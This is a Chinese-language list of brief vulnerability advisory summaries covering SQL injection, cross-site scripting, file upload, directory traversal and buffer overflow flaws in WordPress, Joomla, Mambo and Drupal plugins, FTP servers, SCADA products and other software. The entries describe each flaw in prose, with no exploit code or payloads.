WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件SCORM Cloud存在SQL注入漏洞，由于程序在用于SQL查询之前未能充分过滤用户提供的数据，攻击者可以利用漏洞访问或修改数据，利用底层数据库中潜在的漏洞。
Microsoft Windows是一款流行的操作系统。通过关闭stdout和stderr，并通过stdin读取操作，可使得Windows Server 2008 R1蓝屏，造成拒绝服务攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Eventify Simple Events存在SQL注入漏洞，由于程序在被用于SQL查询之前未能充分过滤用户提供的数据，攻击者可以利用漏洞访问或修改数据，利用底层数据库中潜在的漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件wpcu3er存在任意文件上传漏洞，由于应用程序未能充分过滤用户提供的输入，攻击者可以利用漏洞上传任意PHP代码，并在Web服务器进程的上下文中运行，这可能导致未经授权的访问或特权升级。
GnuCash是一款Gnu下的记账工具。GnuCash存在安全漏洞，应用程序不安全装载可执行文件perl.exe，攻击者可以诱使用户打开远程WebDAV或SMB共享上的".gnucash"文件，来执行任意程序，允许恶意用户以高权限执行任意代码。
GnuCash是一款Gnu下的记账工具。GnuCash存在漏洞的Pthreads-win32库，会不安全装载quserex.dll等库，可被利用以目标用户上下文装载恶意库。
Zikula Application Framework是一款开源应用程序框架。Zikula Application Framework存在跨站脚本漏洞，由于应用程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，允许攻击者窃取基于Cookie的身份验证凭据。
Hastymail2是一款全功能的IMAP/SMTP客户端。Hastymail2存在多个跨站脚本漏洞，攻击者可以利用漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，允许攻击者窃取基于Cookie的身份验证凭据。
Crush FTP是一款跨平台的Java FTP服务器。Crush FTP不正确处理'APPE'命令，远程攻击者可以利用漏洞提交恶意请求使服务程序崩溃。
Blue Coat Reporter可通过提供捕获最新数据的详细日志，帮助您查明网络中的所有Web用户活动。当安装在windows服务器上时，Reporter没有对本地文件的访问进行正确的访问控制，攻击者可以目录遍历序列，以WEB权限访问系统任意文件。攻击者不能通过WEB访问修改或删除文件。运行在linux系统上的程序不受此漏洞影响。
1C-Bitrix Site Manager中存在多个HTML注入漏洞。由于应用程序没有充分过滤用户提供的数据，远程攻击者可利用该漏洞在受影响站点上下文的用户浏览器中执行任意脚本代码并窃取基于cookie的认证证书。
EasyGallery是一款开源的图库发布工具。  EasyGallery的index.php中存在多个SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分的过滤，远程攻击者可利用这些漏洞访问或者修改数据。
Hitachi JP1/Cm2/Network Node Manager中存在多个未明拒绝服务漏洞。远程攻击者可利用这些漏洞导致拒绝服务。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress KNR Author List Widget存在SQL注入漏洞，由于程序在用于SQL查询之前未能充分过滤用户提供的数据，攻击者可以利用漏洞访问或修改数据，利用底层数据库中潜在的漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Post Highlights存在SQL注入漏洞，由于程序在用于SQL查询之前未能充分过滤用户提供的数据，攻击者可以利用漏洞访问或修改数据，利用底层数据库中潜在的漏洞。
PL/SQL Developer是一款集成开发环境。PL/SQL Developer存在本地权限提升漏洞，攻击者可以利用漏洞影响计算机的完整性或导致拒绝服务。
Elite Gaming Ladders是在线战争游戏、联赛脚本供应商。Elite Gaming Ladders在实现上存在SQL注入漏洞，远程攻击者可利用此漏洞非授权操作数据库。
Kisanji存在跨站脚本漏洞，由于程序未能正确过滤用户提供的输入，远程攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码并窃取基于cookie的身份验证凭据。
Cisco NX-OS是一个数据中心级的操作系统。Cisco NX-OS CDP Packety存在远程堆内存破坏漏洞，攻击者可以利用漏洞访问设备上运行的操作系统或导致拒绝服务。
Help Request System存在SQL注入漏洞，由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件VideoWhisper存在SQL注入漏洞，由于程序在用于SQL查询之前未能充分过滤用户提供的数据，攻击者可以利用漏洞访问或修改数据，利用底层数据库中潜在的漏洞。
Mambo是一款开源的WEB内容管理系统。Mambo CMS N-Myndir存在SQL注入漏洞，由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
iGuard是生物识别（指纹识别）和非接触式智能卡门禁/考勤系统。iGuards生物识别门禁控制应用存在多个输入验证漏洞，本地特权用户或远程攻击者可以利用漏洞操作易受攻击的应用程序部分。成功利用漏洞可通过持续的注入导致会话劫持、操纵易受攻击的应用程序。
Mambo是一款开源的WEB内容管理系统。Mambo CMS N-Frettir存在SQL注入漏洞，由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
Mambo是一款开源的WEB内容管理系统。Mambo CMS N-Press存在SQL注入漏洞，由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
Mambo是一款开源的WEB内容管理系统。Mambo CMS AHS Shop存在SQL注入漏洞，由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
Mambo是一款开源的WEB内容管理系统。Mambo CMS N-Gallery存在SQL注入漏洞，由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
Mambo是一款开源的WEB内容管理系统。Mambo CMS N-Shop存在SQL注入漏洞，由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
Mambo是一款开源的WEB内容管理系统。Mambo CMS N-Skyrslur中存在跨站脚本漏洞，由于程序未能正确过滤用户提供的输入，远程攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码并窃取基于cookie的身份验证凭据。
OpenVAS是一款开放式漏洞评估系统。OpenVAS扫描器存在安全漏洞。允许本地用户执行特权提升操作。由于应用程序把可猜测的临时文件名传递给ovaldi应用程序的"-r"参数，可通过符号攻击覆盖任意文件。
GeoClassifieds Lite是基于PHP+MySQL的通用分类广告脚本。GeoClassifieds Lite存在安全漏洞，攻击者可以利用漏洞进行跨站脚本攻击。
GeoClassifieds Lite是基于PHP+MySQL的通用分类广告脚本。GeoClassifieds Lite存在安全漏洞，攻击者可以利用漏洞进行SQL注入攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件DukaPress Shopping Cart存在任意文件上传漏洞，攻击者可以利用漏洞控制受影响系统。该漏洞存在是由于捆绑了TimThumb的易受影响版本。
Apple QuickTime是一款流行的多媒体播放器。QuickTimePlayer.dll组件没有正确检查特定文件中嵌入的用于计算缓冲区长度的大小，当应用程序拷贝任意大小字符串到栈中固定大小缓冲区时可触发缓冲区溢出，攻击者构建恶意WEB页，诱使用户解析，可以应用程序上下文执行任意代码。
OpenSSL是一种开放源码的SSL实现，用来实现网络通信的高强度加密，现在被广泛地用于各种网络应用程序中。OpenSSL在处理ECDH密码组时存在远程拒绝服务漏洞，远程攻击者可利用此漏洞使受影响应用程序崩溃，拒绝服务合法用户。OpenSSL的内部证书验证例程有时错误接受其nextUpdate字段为过去日期的CRL。
Joomla! 是一款开放源码的内容管理系统(CMS)。  Joomla!的Simple File Uploader模块中存在任意文件上传漏洞。由于应用程序没有正确过滤用户提供的输入，远程攻击者可利用该漏洞上传任意文件并在web服务器进程上下文中运行该文件，可导致非法访问或特权提升。
BlueDragon 7.1及其他版本的collecitons.cfm中存在HTML注入漏洞。由于应用程序没有正确过滤用户提供的输入，远程攻击者可利用该漏洞在受影响站点上下文中执行任意脚本代码和HTML，并窃取基于cookie的认证证书或控制站点如何呈现给用户。
KaiBB 2.0.1及其他版本中存在多个SQL注入和任意文件上传漏洞。由于没有正确过滤用户提供的数据，远程攻击者可利用这些漏洞执行任意代码，访问或者修改数据。
ClearSCADA是包含轮训引擎，实时数据库，WEB服务器，报警处理器和报告软件的集成SCADA主机平台。ClearSCADA Web界面身份验证时存在错误，攻击者可以利用漏洞访问某些“安全模式”诊断功能。
BlueDragon多款产品存在跨站请求伪造漏洞，攻击者可以利用漏洞更改管理员密码，漏洞进一步被利用可进行脚本插入和跨站点脚本攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Facebook Open Graph Meta存在SQL注入漏洞，由于程序在用于SQL查询之前未能正确过滤用户提供的输入，攻击者可以利用漏洞访问或修改数据，利用底层数据库中潜在的漏洞。
GentleSource Short URL是一款PHP脚本。GentleSource Short URL存在跨站脚本漏洞，由于通过"u" POST参数传递到index.php的输入在被使用前未能正确过滤，攻击者可利用漏洞在受影响站点上下文的用户浏览器会话中插入任意HTML和脚本代码。
GentleSource Tell a Friend是一款PHP脚本。GentleSource Tell a Friend存在多个跨站脚本漏洞，由于通过"firstname"，"lastname"，"sender_email"，"friend_email"和"comment" POST参数传递到index.php的输入返回用户之前未能正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户的浏览器会话中执行任意HTML和脚本代码。
MantisBT是一个基于PHP技术的开源缺陷跟踪系统。 MantisBT存在本地文件包含漏洞，由于传递到bug_actiongroup_ext_page.php和bug_actiongroup_page.php中"action"参数的输入在被用来包含文件前未能正确过滤，攻击者可以利用漏洞通过目录遍历攻击和URL编码的NULL字节，包含本地资源中的任意文件。
MantisBT是一个基于PHP技术的开源缺陷跟踪系统。 MantisBT存在跨站脚本漏洞，由于通过URL参数传递的输入返回用户之前未能正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户的浏览器会话中执行任意HTML和脚本代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件oQey Gallery存在SQL注入漏洞，由于程序在被用于SQL查询之前未能正确过滤用户提供的输入，攻击者可以利用漏洞访问或修改数据，利用底层数据库中潜在的漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Zotpress存在SQL注入漏洞，由于程序在被用于SQL查询之前未能正确过滤用户提供的输入，攻击者可以利用漏洞访问或修改数据，利用底层数据库中潜在的漏洞。
WB News是一款开放源码的新闻管理系统。WB News存在SQL注入漏洞，由于程序在用于SQL查询之前未能正确过滤用户提供的输入，攻击者可以利用漏洞访问或修改数据，利用底层数据库中潜在的漏洞。
YABSoft Advanced Image Hosting是一款高级图像存取解决方案。YABSoft Advanced Image Hosting存在安全漏洞，由于应用程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
Free MP3 CD Ripper是一款免费的MP3格式转CD的软件。Free MP3 CD Ripper存在安全漏洞，由于应用程序未能对用户提供的数据进行充分的边界检查，攻击者可以利用漏洞以应用程序上下文执行任意代码或导致拒绝服务。
Zipx是一款解压缩软件。由于程序处理压缩档文件时存在错误，攻击者构建恶意ZIP文件，诱使用户解析，可触发基于栈的缓冲区溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
World Of Warcraft一款非常著名的即时战略游戏。World Of Warcraft存在一个本地基于栈溢出漏洞，本地攻击者可利用此漏洞使应用程序崩溃，造成拒绝服务攻击。
多个Hitachi产品存在安全漏洞，允许恶意用户对应用程序进行拒绝服务攻击。问题存在于Cosminexus XML处理器中，目前没有详细漏洞细节提供。
CoolPlayer是一款小巧的MP3播放器。CoolPlayer Portable 2.19.2处理"m3u"文件存在缓冲区溢出漏洞，远程攻击者可利用此漏洞使用非aslr模块绕过ASLR，以应用程序上下文执行任意代码。
Cerberus FTP Server是一款FTP服务程序。Cerberus FTP Server不正确处理包含超长字符串的REST命令，远程攻击者可以利用漏洞对应用程序进行缓冲区溢出攻击，可能以应用程序上下文执行任意代码。
BisonFTP Server是一款FTP服务程序。BisonFTP Server不正确处理包含超长字符串的XMKD/MKD/REST/ACCL命令，远程攻击者可以利用漏洞对应用程序进行缓冲区溢出攻击，可能以应用程序上下文执行任意代码。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的SearchAutocomplete插件中的tags.php中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
ICONICS IcoSetServer ActiveX控件的可信空间中存在任意域名注入漏洞。远程攻击者可利用该漏洞向浏览器的可信空间中添加任意域名，导致执行任意代码。
Inductive Automation Ignition存在文件泄露漏洞，通过URL传递的某些未明的输入在被用于显示文件前未能正确验证，攻击者可以被利用来披露文件的内容。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件iCopyright(R) Article Tools存在SQL注入漏洞，由于程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞访问或修改数据，或利用底层数据库中潜在的漏洞。
OpenTTD是一款Microprose发行的运输大亨豪华版(TTD)的开源版。OpenTTD多个地方存在内存分配大小溢出错误，构建恶意BMP图像可能造成任意代码执行。
OpenTTD是一款Microprose发行的运输大亨豪华版(TTD)的开源版。OpenTTD命令处理器处理CMD_SET_AUTOREPLACE，CMD_INSERT_ORDER，CMD_DEPOT_SELL_ALL_VEHICLES存在多个漏洞可导致拒绝服务攻击。此外命令报文处理器回调函数校验也存在单字节溢出错误。
OpenTTD是一款Microprose发行的运输大亨豪华版(TTD)的开源版。OpenTTD块装载器存在多个安全漏洞，超长旧的名称或多个旧的名称装载时可导致对溢出；超多旧的经济实体装载可导致堆溢出；超多cheat值装载可导致数据段溢出。
GEAR Software CD DVD是一款CD,DVD编辑程序。GEAR CD DVD过滤驱动器存在两个安全漏洞，允许恶意本地用户进行拒绝服务攻击。1）访问指针表时存在数组索引错误，构建特制的0x00222018可访问非法内存导致内核崩溃。2）访问指针表时存在数组索引错误，构建特制的0x0022201C可访问非法内存导致内核崩溃。
Witness Systems公司助中小型企业提升客服录音能力。Witness Systems eQuality套件存在安全漏洞，允许攻击者无需验证以应用程序上下文执行任意代码。Unify2.exe组件默认监听TCP 6821端口，当处理报文类型时，进程没有正确检查用户提供的剩余报文长度值的大小，并拷贝用户提供的数据到栈上固定长度的缓冲区，远程攻击者可以利用漏洞以SYSTEM上下文执行任意代码。
Wibu-Systems CodeMeter是一款基于硬件的软件，文件，访问和媒体的保护解决方案。Wibu-Systems CodeMeter证书服务器默认监听在22350端口，可在虚拟目录可进行限制的目录遍历攻击。
Windows Scripting Host是一款Windows操作系统脚本语言程序。Windows Scripting Host wscript.exe不安全装载wshesn.dll库，攻击者可以诱使用户在远程WebDAV或SMB共享上打开js, jse, vbe, vbs, wsf, wsh文件，可以以用户安全上下文装载任意库。
KnFTPd FTP Server是一款FTP服务程序。向多个FTP命令(USER,PASS,REIN,QUIT,PORT,PASV,TYPE,STRU,MODE,RETR,STOR, APPE,ALLO,REST,RNFR,RNTO,ABOR,DELE,CWD,LIST,NLST,SITE,STST,HELP,NOOP,MKD ,RMD,PWD,CDUP,STOU,SNMT,SYST,XPWD)发送超长请求时，远程攻击者可以溢出缓冲区溢出，以应用程序权限执行任意代码。
Joomla!是一款开放源码的内容管理系统。Joomla! Simple File Upload模块存在任意文件上传漏洞，由于modules/mod_simplefileupload/helper.php脚本未能正确验证上传的文件，攻击者可以利用漏洞执行任意PHP代码。
Ingres Database是一款开源的企业级数据库。Ingres Database存在一个未明安全漏洞，允许未验证攻击者写共享内存段触发一个事件溢出Ingres名字服务器上(iigcn)数据。
Gigaset A580 IP是一款网络IP电话。Gigaset A580 IP存在安全漏洞，允许恶意攻击者获得敏感信息。当处理SIP OPTIONS请求时存在错误，发送SIP用户名字段为空的"From"头，设备会泄露用户敏感信息。
Opera是一款流行的WEB浏览器。Opera Web Browser存在未明漏洞，暂无详细细节提供。
Opera是一款流行的WEB浏览器。Opera浏览器在实现上存在安全漏洞，远程攻击者可利用此漏洞获取安全信息。
Advantech BroadWin是一款完全基于浏览器的人机界面(HMI)和监控及数据采集(SCADA)软禁。BroadWin WebAccess客户端处理打开文件描述符时"CloseFile()"方法(bwocxrun.ocx)存在错误，向"fpt"方法传递任意整数值可导致内存破坏。成功利用漏洞可以以应用程序上下文执行任意代码。
Advantech BroadWin是一款完全基于浏览器的人机界面(HMI)和监控及数据采集(SCADA)软禁。BroadWin WebAccess客户端处理打开文件描述符时"WriteTextData()"方法(bwocxrun.ocx)存在错误，向"fpt"方法传递任意整数值可导致内存破坏，允许恶意用户以应用程序上下文执行任意代码。
Advantech BroadWin是一款完全基于浏览器的人机界面(HMI)和监控及数据采集(SCADA)软禁。BroadWin WebAccess客户端"OcxSpool()"方法(bwocxrun.ocx) 存在格式串错误，通过构建特制字符串可破坏内存，允许恶意用户以应用程序上下文执行任意代码。
Apple Mac OS X是一款商业性质的操作系统。Mac OS X存在安全漏洞，在某些情况下远程用户可绕过密钥串证书设置。即使在用户在密钥串访问中标记根证书授权(CA)信任设置为“永远不可信”(Never Trust)，Mac OS X操作系统也会把扩展校验证书合法接受。
TinyWebGallery是基于php的开源相册。  TinyWebGallery 1.8.3及其他版本中存在多个本地文件包含和SQL注入漏洞。远程攻击者可利用该漏洞访问或者修改数据，查看并执行在web浏览器上下文中的任意本地文件。
ICONICS是一家专业提供基于OPC可视化软件的公司。ICONICS IcoSetServer ActiveX Control存在安全漏洞，由于"SetTrustedZone Policy"功能中的错误，可以被攻击者利用添加一个任意域到信任的站点区域。
Drupal是一款开源的内容管理平台，Bot Alarm是Drupal的一个模块。Drupal Bot Alarm模块存在跨站请求伪造漏洞。当查看警告列表页面时，某些与警告信息和途径相关的未明输入在使用前未能正确过滤，攻击者可以利用漏洞注入任意HTML和脚本代码，当恶意数据被查看时在受影响的站点上下文的用户浏览器会话中执行。
Drupal是一款开源的内容管理平台，Bot Alarm是Drupal的一个模块。Drupal Bot Alarm模块存在跨站请求伪造漏洞。由于应用程序允许用户验证请求时使用没有执行任意有效性检查的HTTP请求，攻击者可以利用漏洞在已登录的管理用户访问恶意网站时删除警告。
Siemens SIMATIC WinCC是一款能为工业领域提供完备的监控与数据采集（SCADA）功能，涵盖单用户系统直到支持冗余服务器和远程Web客户机解决方案的多用户系统。Siemens SIMATIC WinCC Flexible存在内存损坏漏洞。由于在标签模拟器中的未指定错误，导致攻击者可通过打开特制文件引起内存损坏，成功利用漏洞可以执行任意代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Grapefile存在任意文件上传漏洞。由于应用程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在web服务器进程上下文上传并运行任意PHP代码，提升特权或进行未经授权的访问。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Image Gallery with Slideshow存在任意文件上传漏洞，由于应用程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在web服务器进程上下文上传并运行任意PHP代码，提升特权或进行未经授权的访问。
Joomla!是一款开放源码的内容管理系统。Joomla! JCE组件存在目录遍历漏洞。由于某些输入在被用于访问文件之前没有正确验证，攻击者可以利用漏洞查看并操纵根程序以外的文件和文件夹。
NetSaro Enterprise Messenger Server是一款企业级即时信息服务器软件。NetSaro Enterprise Messenger存在跨站脚本漏洞，攻击者可以利用漏洞在受影响浏览器上下文中执行脚本代码。
NetSaro Enterprise Messenger Server是一款企业级即时信息服务器软件。NetSaro Enterprise Messenger存在HTML注入漏洞，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据或控制网站的呈现。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Donation存在SQL注入漏洞，由于程序在被用于SQL查询前未能充分过滤用户提供的输入，攻击者可以利用漏洞访问或修改数据，利用底层数据库中潜在的漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress WP Bannerize存在SQL注入漏洞，由于程序在被用于SQL查询前未能充分过滤用户提供的输入，攻击者可以利用漏洞访问或修改数据，利用底层数据库中潜在的漏洞。
IBM Rational Build Forge是一款自动化流程执行软件，能帮助客户进行自动化软件构建，测试及发布。IBM Rational Build Forge存在信息泄露漏洞，攻击者可以利用漏洞获得敏感信息。
多个厂商产品存在安全绕过漏洞，攻击者可以利用漏洞绕过受影响设备中内置的安全机制。这可能有助于进一步攻击。
Dienstplan存在不安全的随机密码生成漏洞，攻击者可以利用漏洞猜测随机生成的密码。
Bcfg2提供给系统管理员一个一致性的、可再生的、可核查的环境，并提供可视化的报告工具，以协助日常的行政工作。Bcfg2存在远程命令注入漏洞，由于应用程序未能正确过滤用户提供的输入，攻击者可以利用漏洞以应用程序上下文执行任意指令。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress SearchAutocomplete插件存在SQL注入漏洞，由于tags.php脚本中缺少对term参数合法性判断语句，就使用它进行数据库查询，导致SQL注入攻击。远程攻击者可利用此漏洞可获取底层数据库信息，并发起进一步攻击。
IBM Open Admin Tool 2.71及之前版本中存在多个跨站脚本攻击漏洞。由于应用程序没有充分过滤用户提供的输入，远程攻击者可以利用这些漏洞窃取基于cookie的认证证书。
Web Professional是一款可以查询域名或者IP地址的程序。Web Professional存在SQL注入漏洞，由于程序在SQL查询之前未能正确过滤用户提供的输入，攻击者可以利用漏洞访问或修改数据，利用底层数据库中潜在的漏洞。
Open Classifieds是开源的PHP+MySQL分类信息系统。Open Classifieds存在跨站脚本漏洞，攻击者可以利用漏洞在用户浏览的网页中注入客户端脚本代码，以及绕过访问控制，例如同源策略。
Drupal是一款开源的内容管理平台，Taxonomy Filter是Drupal的一个模块。Drupal存在跨站脚本漏洞，由于应用程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，允许攻击者窃取基于Cookie的身份验证凭据，并发动其他攻击。
Skype是一款流行的P2P VoIP软件，可提供高质量的语音通讯服务。基于macosx和windows平台的skype软件存在关键指针漏洞，该漏洞存在于需要SYKPE搜索目录服务器的单码http搜索的两个输入表格中，本地攻击者可以通过未处理的未知软件的异常（内存损坏）使完整的SYKPE进程崩溃。成功利用漏洞可以通过在机器特定内存地址中读取或写入导致本地系统被控制。
Drupal是一款开放源码的内容管理平台，Taxonomy Filter是Drupal的一个模块。Drupal Taxonomy Views Integrator存在HTML注入漏洞，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据或控制网站的呈现。
Serendipity是一款PHP驱动的Weblog应用程序。Serendipity存在SQL注入漏洞，由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞访问或修改数据，利用底层数据库中潜在的漏洞。
vAuthenticate是一款使用PHP和MySQL编写的提供验证保护的脚本，可对web服务提供保护。vAuthenticatecunz存在SQL注入漏洞，由于传递到chgpwd.php（当"submit"被设置时)中"newpasswd" POST参数的输入在被用于SQL查询之前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
vAuthenticate是一款使用PHP和MySQL编写的提供验证保护的脚本，可对web服务提供保护。vAuthenticatecunz存在SQL注入漏洞，由于传递到chgpwd.php（当"submit"被设置时)中"USERNAME"和"PASSWORD" cookie参数的输入在被用于SQL查询之前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
vAuthenticate是一款使用PHP和MySQL编写的提供验证保护的脚本，可对web服务提供保护。vAuthenticatecunz存在SQL注入漏洞，由于传递到例如admin/index.php中"USERNAME"和"PASSWORD" cookie参数的输入在被用于SQL中的"page_check()"函数(auth.php)之前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
vAuthenticate是一款使用PHP和MySQL编写的提供验证保护的脚本，可对web服务提供保护。vAuthenticatecunz存在SQL注入漏洞，由于传递到vAuthenticate.php中"username"和"password" POST参数的输入在被用于SQL查询中的"authenticate()"函数(auth.php)之前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
CS-Cart是基于PHP/MySQL的购物车软件。CS-Cart存在SQL注入漏洞，由于程序在SQL查询之前未能正确过滤用户提供的输入，攻击者可以利用漏洞访问或修改数据，利用底层数据库中潜在的漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件PureHTML存在SQL注入漏洞，由于程序在SQL查询之前未能正确过滤用户提供的输入，攻击者可以利用漏洞访问或修改数据，利用底层数据库中潜在的漏洞。
Pandora FMS是一个开源的应用程序，用来监测网站的各种活动。 Pandora FMS存在跨站脚本漏洞，由于应用程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，允许攻击者窃取基于Cookie的身份验证凭据，并发动其他攻击。
IBM WebSphere Application Server是一款商业性质的WEB应用服务程序。IBM WebSphere Application Server Tomcat Webdav Servlet存在未明漏洞，目前没有详细细节提供。
Photoracer是一个Wordpress论坛插件，允许从管理面板创建照片竞赛。  Photoracer WordPress插件中存在多个SQL注入和跨站脚本攻击漏洞。远程攻击者可利用这些漏洞访问或者修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Collision Testimonials插件的admin.php中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
phpBB是一款免费开放源代码的WEB论坛程序，由PHP编写MYSQL后台支持，可运行在多种Unix和linux操作系统下，也可运行在Microsoft window操作系统下。  phpBB的Custom mass PM模块中存在跨站脚本攻击漏洞。该漏洞源于应用程序没有正确过滤用户提供的输入，远程攻击者可借助username参数在受影响站点上下文的用户浏览器中执行任意脚本代码，并窃取基于cookie的认证证书。
phpWebSite是一款WEB站点内容管理系统。  phpWebSite的mod.php中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的mySTAT插件的mystat.php中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Evarisk插件的ajax.php中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
Omnistar Mailer中存在跨站脚本攻击和多个SQL注入漏洞。由于应用程序没有充分过滤用户提供的数据，远程攻击者可利用这些漏洞窃取基于cookie的认证证书，并访问或者修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的MM Forms Community插件的edit_details.php中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Js-appointment插件的searchdata.php中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
Joomla! 是一款开放源码的内容管理系统(CMS)。  Joomla!的JCE组件中存在多个目录遍历漏洞。由于应用程序没有充分过滤用户提供的输入，远程攻击者可使用带有目录遍历序列的特制请求查看目录或者上传，重命名和删除该应用程序上下文中的目录文件。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的oQey Headers插件中的oqey_settings.php中存在SQL注入漏洞。由于用户提供的数据被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
Joomla! 是一款开放源码的内容管理系统(CMS)。  Joomla!的Simple File Lister模块中存在目录遍历漏洞。由于没有充分过滤用户提供的数据，远程攻击者可利用该漏洞获取敏感信息。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Profiles插件中存在SQL注入漏洞。该漏洞源于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助id参数访问或者修改数据。
Ipswitch WhatsUp Gold是一款基于Windows的网络监视应用程序。  Ipswitch WhatsUp Gold 15.0.1之前版本的LDAP协议中存在认证安全绕过漏洞。远程攻击者可利用该漏洞绕过某些安全限制并且获取非法访问权限。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Super CAPTCHA插件中存在SQL注入漏洞。该漏洞源于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助markspam参数访问或者修改数据。
HP SiteScope是一种为确保分布式IT基础部件的可用性和性能的无代理的监视解决方案。  HP SiteScope 11.10 Build 2929及其他版本中存在安全绕过漏洞。远程攻击者可利用该漏洞在受影响应用程序上执行管理任务。
Phorum是一款基于PHP的WEB论坛程序，可使用在Linux和Unix操作系统下，也可使用在Microsoft Windows操作系统下。  Phorum 5.2.16及之前版本中存在多个跨站脚本攻击漏洞。由于应用程序没有对用户提供的输入进行充分过滤，远程攻击者可借助real_name参数窃取基于cookie的认证证书。
Axway SecureTransport 4.8.2 Patch 12之前的4.8.x版本中存在目录遍历漏洞。由于应用程序没有对用户提供的数据进行充分过滤，远程攻击者可利用该漏洞获取敏感信息。
Squid是一个高效的Web缓存及代理程序，Squid最初是为Unix平台开发的，现在也被移植到Linux和大多数的Unix类系统中，最新的Squid可以运行在Windows平台下。  Squid Proxy中存在影响Gopher-to-HTML功能的缓冲区溢出漏洞。远程攻击者可利用受影响应用程序的权限执行任意代码，导致拒绝服务。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Couponer存在SQL注入漏洞，由于程序在SQL查询之前未能正确过滤用户提供的输入，攻击者可以利用漏洞访问或修改数据，利用底层数据库中潜在的漏洞。
